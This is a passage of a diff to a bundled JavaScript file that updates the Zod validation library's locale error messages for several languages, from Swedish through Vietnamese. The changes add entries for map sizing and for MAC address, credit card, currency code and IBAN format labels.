"objekt", verb: "att inneh\xE5lla" } + set: { unit: "objekt", verb: "att inneh\xE5lla" }, + map: { unit: "objekt", verb: "att inneh\xE5lla" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -97955,14 +100250,18 @@ var error40 = () => { date: "ISO-datum", time: "ISO-tid", duration: "ISO-varaktighet", - ipv4: "IPv4-intervall", - ipv6: "IPv6-intervall", + ipv4: "IPv4-adress", + ipv6: "IPv6-adress", + mac: "MAC-adress", cidrv4: "IPv4-spektrum", cidrv6: "IPv6-spektrum", base64: "base64-kodad str\xE4ng", base64url: "base64url-kodad str\xE4ng", json_string: "JSON-str\xE4ng", e164: "E.164-nummer", + credit_card: "kreditkortsnummer", + currency_code: "valutakod", + iban: "IBAN", jwt: "JWT", template_literal: "mall-literal" }; @@ -98032,17 +100331,18 @@ var error40 = () => { }; function sv_default() { return { - localeError: error40() + localeError: error49() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ta.js -var error41 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ta.js +var error50 = () => { const Sizable = { string: { unit: "\u0B8E\u0BB4\u0BC1\u0BA4\u0BCD\u0BA4\u0BC1\u0B95\u0BCD\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, file: { unit: "\u0BAA\u0BC8\u0B9F\u0BCD\u0B9F\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, array: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, - set: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" } + set: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, + map: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -98068,12 +100368,16 @@ var error41 = () => { duration: "ISO \u0B95\u0BBE\u0BB2 \u0B85\u0BB3\u0BB5\u0BC1", ipv4: "IPv4 \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", ipv6: "IPv6 \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", + mac: "MAC \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", cidrv4: "IPv4 \u0BB5\u0BB0\u0BAE\u0BCD\u0BAA\u0BC1", cidrv6: "IPv6 \u0BB5\u0BB0\u0BAE\u0BCD\u0BAA\u0BC1", base64: "base64-encoded \u0B9A\u0BB0\u0BAE\u0BCD", base64url: "base64url-encoded \u0B9A\u0BB0\u0BAE\u0BCD", json_string: "JSON \u0B9A\u0BB0\u0BAE\u0BCD", e164: "E.164 \u0B8E\u0BA3\u0BCD", + credit_card: "\u0B95\u0B9F\u0BA9\u0BCD \u0B85\u0B9F\u0BCD\u0B9F\u0BC8 \u0B8E\u0BA3\u0BCD", + currency_code: "\u0BA8\u0BBE\u0BA3\u0BAF\u0B95\u0BCD \u0B95\u0BC1\u0BB1\u0BBF\u0BAF\u0BC0\u0B9F\u0BC1", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -98143,17 +100447,135 @@ var error41 = () => { }; function ta_default() { return { - localeError: error41() + localeError: error50() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/th.js -var error42 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tg.js +var error51 = () => { + const Sizable = { + string: { unit: "\u0430\u043B\u043E\u043C\u0430\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + file: { unit: "\u0431\u0430\u0439\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + array: { unit: "\u0443\u043D\u0441\u0443\u0440", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + set: { unit: "\u0443\u043D\u0441\u0443\u0440", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + map: { unit: "\u0441\u0430\u0431\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0432\u0443\u0440\u0443\u0434", + email: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 email", + url: "URL", + emoji: "\u044D\u043C\u043E\u04B7\u0438", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u0441\u0430\u043D\u0430\u0432\u0443 \u0432\u0430\u049B\u0442\u0438 ISO", + date: "\u0441\u0430\u043D\u0430\u0438 ISO", + time: "\u0432\u0430\u049B\u0442\u0438 ISO", + duration: "\u0434\u0430\u0432\u043E\u043C\u043D\u043E\u043A\u0438\u0438 ISO", + ipv4: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 IPv4", + ipv6: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 IPv6", + mac: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 MAC", + cidrv4: "\u043C\u0430\u04B3\u0434\u0443\u0434\u0430\u0438 IPv4", + cidrv6: "\u043C\u0430\u04B3\u0434\u0443\u0434\u0430\u0438 IPv6", + base64: "\u0441\u0430\u0442\u0440\u0438 \u0434\u0430\u0440 \u0444\u043E\u0440\u043C\u0430\u0442\u0438 base64", + base64url: "\u0441\u0430\u0442\u0440\u0438 \u0434\u0430\u0440 \u0444\u043E\u0440\u043C\u0430\u0442\u0438 base64url", + json_string: "\u0441\u0430\u0442\u0440\u0438 JSON", + e164: "\u0440\u0430\u049B\u0430\u043C\u0438 E.164", + credit_card: "\u0440\u0430\u049B\u0430\u043C\u0438 \u043A\u043E\u0440\u0442\u0438 \u043A\u0440\u0435\u0434\u0438\u0442\u04E3", + currency_code: "\u0440\u0430\u043C\u0437\u0438 \u0430\u0441\u044A\u043E\u0440", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0432\u0443\u0440\u0443\u0434" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u0440\u0430\u049B\u0430\u043C", + string: "\u0441\u0430\u0442\u0440", + array: "\u043C\u0430\u0441\u0441\u0438\u0432", + object: "\u043E\u0431\u044A\u0435\u043A\u0442", + date: "\u0441\u0430\u043D\u0430" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: ${expected} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442, ${received} \u0433\u0438\u0440\u0438\u0444\u0442\u0430 \u0448\u0443\u0434`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: ${stringifyPrimitive(issue2.values[0])} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + return `\u0418\u043D\u0442\u0438\u0445\u043E\u0431\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u044F\u043A\u0435 \u0430\u0437 ${joinValues(issue2.values, "|")} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0425\u0435\u043B\u0435 \u043A\u0430\u043B\u043E\u043D: ${issue2.origin ?? "\u049B\u0438\u043C\u0430\u0442"} \u0431\u043E\u044F\u0434 ${adj}${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0425\u0435\u043B\u0435 \u043A\u0430\u043B\u043E\u043D: ${issue2.origin ?? "\u049B\u0438\u043C\u0430\u0442"} \u0431\u043E\u044F\u0434 ${adj}${issue2.maximum.toString()} \u0431\u043E\u0448\u0430\u0434`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0425\u0435\u043B\u0435 \u0445\u0443\u0440\u0434: ${issue2.origin} \u0431\u043E\u044F\u0434 ${adj}${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0425\u0435\u043B\u0435 \u0445\u0443\u0440\u0434: ${issue2.origin} \u0431\u043E\u044F\u0434 ${adj}${issue2.minimum.toString()} \u0431\u043E\u0448\u0430\u0434`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u043E "${_issue.prefix}" \u043E\u0493\u043E\u0437 \u0448\u0430\u0432\u0430\u0434`; + if (_issue.format === "ends_with") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u043E "${_issue.suffix}" \u0430\u043D\u04B7\u043E\u043C \u0451\u0431\u0430\u0434`; + if (_issue.format === "includes") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 "${_issue.includes}"-\u0440\u043E \u0434\u0430\u0440 \u0431\u0430\u0440 \u0433\u0438\u0440\u0430\u0434`; + if (_issue.format === "regex") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u0430 \u043D\u0430\u043C\u0443\u043D\u0430\u0438 ${_issue.pattern} \u043C\u0443\u0432\u043E\u0444\u0438\u049B\u0430\u0442 \u043A\u0443\u043D\u0430\u0434`; + return `${FormatDictionary[_issue.format] ?? issue2.format}-\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442`; + } + case "not_multiple_of": + return `\u0420\u0430\u049B\u0430\u043C\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u0430 ${issue2.divisor} \u0431\u0435 \u0431\u0430\u049B\u0438\u044F \u0442\u0430\u049B\u0441\u0438\u043C \u0448\u0430\u0432\u0430\u0434`; + case "unrecognized_keys": + return `\u041A\u0430\u043B\u0438\u0434${issue2.keys.length > 1 ? "\u04B3\u043E\u0438" : "\u0438"} \u043D\u043E\u043C\u0430\u044A\u043B\u0443\u043C: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u041A\u0430\u043B\u0438\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442 \u0434\u0430\u0440 ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u049A\u0438\u043C\u0430\u0442\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442\u0438 \u0434\u0438\u0441\u043A\u0440\u0438\u043C\u0438\u043D\u0430\u0442\u043E\u0440: ${opts} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + } + return "\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442"; + case "invalid_element": + return `\u049A\u0438\u043C\u0430\u0442\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442 \u0434\u0430\u0440 ${issue2.origin}`; + default: + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442`; + } + }; +}; +function tg_default() { + return { + localeError: error51() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/th.js +var error52 = () => { const Sizable = { string: { unit: "\u0E15\u0E31\u0E27\u0E2D\u0E31\u0E01\u0E29\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, file: { unit: "\u0E44\u0E1A\u0E15\u0E4C", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, array: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, - set: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" } + set: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, + map: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -98179,12 +100601,16 @@ var error42 = () => { duration: "\u0E0A\u0E48\u0E27\u0E07\u0E40\u0E27\u0E25\u0E32\u0E41\u0E1A\u0E1A ISO", ipv4: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 IPv4", ipv6: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 IPv6", + mac: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 MAC", cidrv4: "\u0E0A\u0E48\u0E27\u0E07 IP \u0E41\u0E1A\u0E1A IPv4", cidrv6: "\u0E0A\u0E48\u0E27\u0E07 IP \u0E41\u0E1A\u0E1A IPv6", base64: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A Base64", base64url: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A Base64 \u0E2A\u0E33\u0E2B\u0E23\u0E31\u0E1A URL", json_string: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A JSON", e164: "\u0E40\u0E1A\u0E2D\u0E23\u0E4C\u0E42\u0E17\u0E23\u0E28\u0E31\u0E1E\u0E17\u0E4C\u0E23\u0E30\u0E2B\u0E27\u0E48\u0E32\u0E07\u0E1B\u0E23\u0E30\u0E40\u0E17\u0E28 (E.164)", + credit_card: "\u0E2B\u0E21\u0E32\u0E22\u0E40\u0E25\u0E02\u0E1A\u0E31\u0E15\u0E23\u0E40\u0E04\u0E23\u0E14\u0E34\u0E15", + currency_code: "\u0E23\u0E2B\u0E31\u0E2A\u0E2A\u0E01\u0E38\u0E25\u0E40\u0E07\u0E34\u0E19", + iban: "IBAN", jwt: "\u0E42\u0E17\u0E40\u0E04\u0E19 JWT", template_literal: "\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25\u0E17\u0E35\u0E48\u0E1B\u0E49\u0E2D\u0E19" }; @@ -98254,17 +100680,126 @@ var error42 = () => { }; function th_default() { return { - localeError: error42() + localeError: error52() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/tr.js -var error43 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tk.js +var error53 = () => { + const Sizable = { + string: { unit: "simwol", verb: "bolmaly" }, + file: { unit: "ba\xFDt", verb: "bolmaly" }, + array: { unit: "elementler", verb: "bolmaly" }, + set: { unit: "elementler", verb: "bolmaly" }, + map: { unit: "elementler", verb: "bolmaly" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "giri\u015F", + email: "e-po\xE7ta salgysy", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO sene we wagt", + date: "ISO sene", + time: "ISO wagt", + duration: "ISO wagt aralygy", + ipv4: "IPv4 salgysy", + ipv6: "IPv6 salgysy", + mac: "MAC salgysy", + cidrv4: "IPv4 aralygy", + cidrv6: "IPv6 aralygy", + base64: "base64 bilen \u015Fifrlenen setir", + base64url: "base64url bilen \u015Fifrlenen setir", + json_string: "JSON setiri", + e164: "E.164 nomeri", + credit_card: "kredit kartyny\u0148 nomeri", + currency_code: "wal\xFDuta kody", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u015Fablon" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `N\xE4dogry baha: gara\u015Fylan ${expected} \xFDerine ${received} alyndy`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `N\xE4dogry baha: ${stringifyPrimitive(issue2.values[0])} bolmaly`; + return `N\xE4dogry sa\xFDlaw: a\u015Fakdakylardan biri bolmaly: ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Has uly: gara\u015Fyl\xFDan ${issue2.origin ?? "baha"} ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "element"}`; + return `Has uly: gara\u015Fyl\xFDan ${issue2.origin ?? "baha"} ${adj} ${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Has ki\xE7i: gara\u015Fyl\xFDan ${issue2.origin} ${adj} ${issue2.minimum.toString()} ${sizing.unit}`; + return `Has ki\xE7i: gara\u015Fyl\xFDan ${issue2.origin} ${adj} ${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `N\xE4dogry setir: "${_issue.prefix}" bilen ba\u015Flamaly`; + if (_issue.format === "ends_with") + return `N\xE4dogry setir: "${_issue.suffix}" bilen gutarmaly`; + if (_issue.format === "includes") + return `N\xE4dogry setir: "${_issue.includes}" saklamaly`; + if (_issue.format === "regex") + return `N\xE4dogry setir: ${_issue.pattern} nusga la\xFDyk bolmaly`; + return `N\xE4dogry ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `N\xE4dogry san: ${issue2.divisor} bilen galyndysyz b\xF6l\xFCnmeli`; + case "unrecognized_keys": + return `Tanalma\xFDan a\xE7ar${issue2.keys.length > 1 ? "lar" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} i\xE7inde n\xE4dogry a\xE7ar`; + case "invalid_union": + return "N\xE4dogry baha"; + case "invalid_element": + return `${issue2.origin} i\xE7inde n\xE4dogry baha`; + default: + return `N\xE4dogry baha`; + } + }; +}; +function tk_default() { + return { + localeError: error53() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tr.js +var error54 = () => { const Sizable = { string: { unit: "karakter", verb: "olmal\u0131" }, file: { unit: "bayt", verb: "olmal\u0131" }, array: { unit: "\xF6\u011Fe", verb: "olmal\u0131" }, - set: { unit: "\xF6\u011Fe", verb: "olmal\u0131" } + set: { unit: "\xF6\u011Fe", verb: "olmal\u0131" }, + map: { unit: "\xF6\u011Fe", verb: "olmal\u0131" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -98290,12 +100825,16 @@ var error43 = () => { duration: "ISO s\xFCre", ipv4: "IPv4 adresi", ipv6: "IPv6 adresi", + mac: "MAC adresi", cidrv4: "IPv4 aral\u0131\u011F\u0131", cidrv6: "IPv6 aral\u0131\u011F\u0131", base64: "base64 ile \u015Fifrelenmi\u015F metin", base64url: "base64url ile \u015Fifrelenmi\u015F metin", json_string: "JSON dizesi", e164: "E.164 say\u0131s\u0131", + credit_card: "kredi kart\u0131 numaras\u0131", + currency_code: "para birimi kodu", + iban: "IBAN", jwt: "JWT", template_literal: "\u015Eablon dizesi" }; @@ -98360,17 +100899,18 @@ var error43 = () => { }; function tr_default() { return { - localeError: error43() + localeError: error54() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/uk.js -var error44 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/uk.js +var error55 = () => { const Sizable = { string: { unit: "\u0441\u0438\u043C\u0432\u043E\u043B\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, file: { unit: "\u0431\u0430\u0439\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, array: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, - set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" } + set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, + map: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -98396,12 +100936,16 @@ var error44 = () => { duration: "\u0442\u0440\u0438\u0432\u0430\u043B\u0456\u0441\u0442\u044C ISO", ipv4: "\u0430\u0434\u0440\u0435\u0441\u0430 IPv4", ipv6: "\u0430\u0434\u0440\u0435\u0441\u0430 IPv6", + mac: "\u0430\u0434\u0440\u0435\u0441\u0430 MAC", cidrv4: "\u0434\u0456\u0430\u043F\u0430\u0437\u043E\u043D IPv4", cidrv6: "\u0434\u0456\u0430\u043F\u0430\u0437\u043E\u043D IPv6", base64: "\u0440\u044F\u0434\u043E\u043A \u0443 \u043A\u043E\u0434\u0443\u0432\u0430\u043D\u043D\u0456 base64", base64url: "\u0440\u044F\u0434\u043E\u043A \u0443 \u043A\u043E\u0434\u0443\u0432\u0430\u043D\u043D\u0456 base64url", json_string: "\u0440\u044F\u0434\u043E\u043A JSON", e164: "\u043D\u043E\u043C\u0435\u0440 E.164", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u043E\u0457 \u043A\u0430\u0440\u0442\u043A\u0438", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u0438", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0445\u0456\u0434\u043D\u0456 \u0434\u0430\u043D\u0456" }; @@ -98469,22 +101013,23 @@ var error44 = () => { }; function uk_default() { return { - localeError: error44() + localeError: error55() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ua.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ua.js function ua_default() { return uk_default(); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ur.js -var error45 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ur.js +var error56 = () => { const Sizable = { string: { unit: "\u062D\u0631\u0648\u0641", verb: "\u06C1\u0648\u0646\u0627" }, file: { unit: "\u0628\u0627\u0626\u0679\u0633", verb: "\u06C1\u0648\u0646\u0627" }, array: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" }, - set: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" } + set: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" }, + map: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -98510,12 +101055,16 @@ var error45 = () => { duration: "\u0622\u0626\u06CC \u0627\u06CC\u0633 \u0627\u0648 \u0645\u062F\u062A", ipv4: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 4 \u0627\u06CC\u0688\u0631\u06CC\u0633", ipv6: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 6 \u0627\u06CC\u0688\u0631\u06CC\u0633", + mac: "\u0627\u06CC\u0645 \u0627\u06D2 \u0633\u06CC \u0627\u06CC\u0688\u0631\u06CC\u0633", cidrv4: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 4 \u0631\u06CC\u0646\u062C", cidrv6: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 6 \u0631\u06CC\u0646\u062C", base64: "\u0628\u06CC\u0633 64 \u0627\u0646 \u06A9\u0648\u0688\u0688 \u0633\u0679\u0631\u0646\u06AF", base64url: "\u0628\u06CC\u0633 64 \u06CC\u0648 \u0622\u0631 \u0627\u06CC\u0644 \u0627\u0646 \u06A9\u0648\u0688\u0688 \u0633\u0679\u0631\u0646\u06AF", json_string: "\u062C\u06D2 \u0627\u06CC\u0633 \u0627\u0648 \u0627\u06CC\u0646 \u0633\u0679\u0631\u0646\u06AF", e164: "\u0627\u06CC 164 \u0646\u0645\u0628\u0631", + credit_card: "\u06A9\u0631\u06CC\u0688\u0679 \u06A9\u0627\u0631\u0688 \u0646\u0645\u0628\u0631", + currency_code: "\u06A9\u0631\u0646\u0633\u06CC \u06A9\u0648\u0688", + iban: "IBAN", jwt: "\u062C\u06D2 \u0688\u0628\u0644\u06CC\u0648 \u0679\u06CC", template_literal: "\u0627\u0646 \u067E\u0679" }; @@ -98585,12 +101134,12 @@ var error45 = () => { }; function ur_default() { return { - localeError: error45() + localeError: error56() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/uz.js -var error46 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/uz.js +var error57 = () => { const Sizable = { string: { unit: "belgi", verb: "bo\u2018lishi kerak" }, file: { unit: "bayt", verb: "bo\u2018lishi kerak" }, @@ -98629,6 +101178,9 @@ var error46 = () => { base64url: "base64url kodlangan satr", json_string: "JSON satr", e164: "E.164 raqam", + credit_card: "kredit karta raqami", + currency_code: "valyuta kodi", + iban: "IBAN", jwt: "JWT", template_literal: "kirish" }; @@ -98696,17 +101248,18 @@ var error46 = () => { }; function uz_default() { return { - localeError: error46() + localeError: error57() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/vi.js -var error47 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/vi.js +var error58 = () => { const Sizable = { string: { unit: "k\xFD t\u1EF1", verb: "c\xF3" }, file: { unit: "byte", verb: "c\xF3" }, array: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" }, - set: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" } + set: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" }, + map: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -98732,12 +101285,16 @@ var error47 = () => { duration: "kho\u1EA3ng th\u1EDDi gian ISO", ipv4: "\u0111\u1ECBa ch\u1EC9 IPv4", ipv6: "\u0111\u1ECBa ch\u1EC9 IPv6", + mac: "\u0111\u1ECBa ch\u1EC9 MAC", cidrv4: "d\u1EA3i IPv4", cidrv6: "d\u1EA3i IPv6", base64: "chu\u1ED7i m\xE3 h\xF3a base64", base64url: "chu\u1ED7i m\xE3 h\xF3a base64url", json_string: "chu\u1ED7i JSON", e164: "s\u1ED1 E.164", + credit_card: "s\u1ED1 th\u1EBB t\xEDn d\u1EE5ng", + currency_code: "m\xE3 ti\u1EC1n t\u1EC7", + iban: "IBAN", jwt: "JWT", template_literal: "\u0111\u1EA7u v\xE0o" }; @@ -98805,17 +101362,18 @@ var error47 = () => { }; function vi_default() { return { - localeError: error47() + localeError: error58() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/zh-CN.js -var error48 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/zh-CN.js +var error59 = () => { const Sizable = { string: { unit: 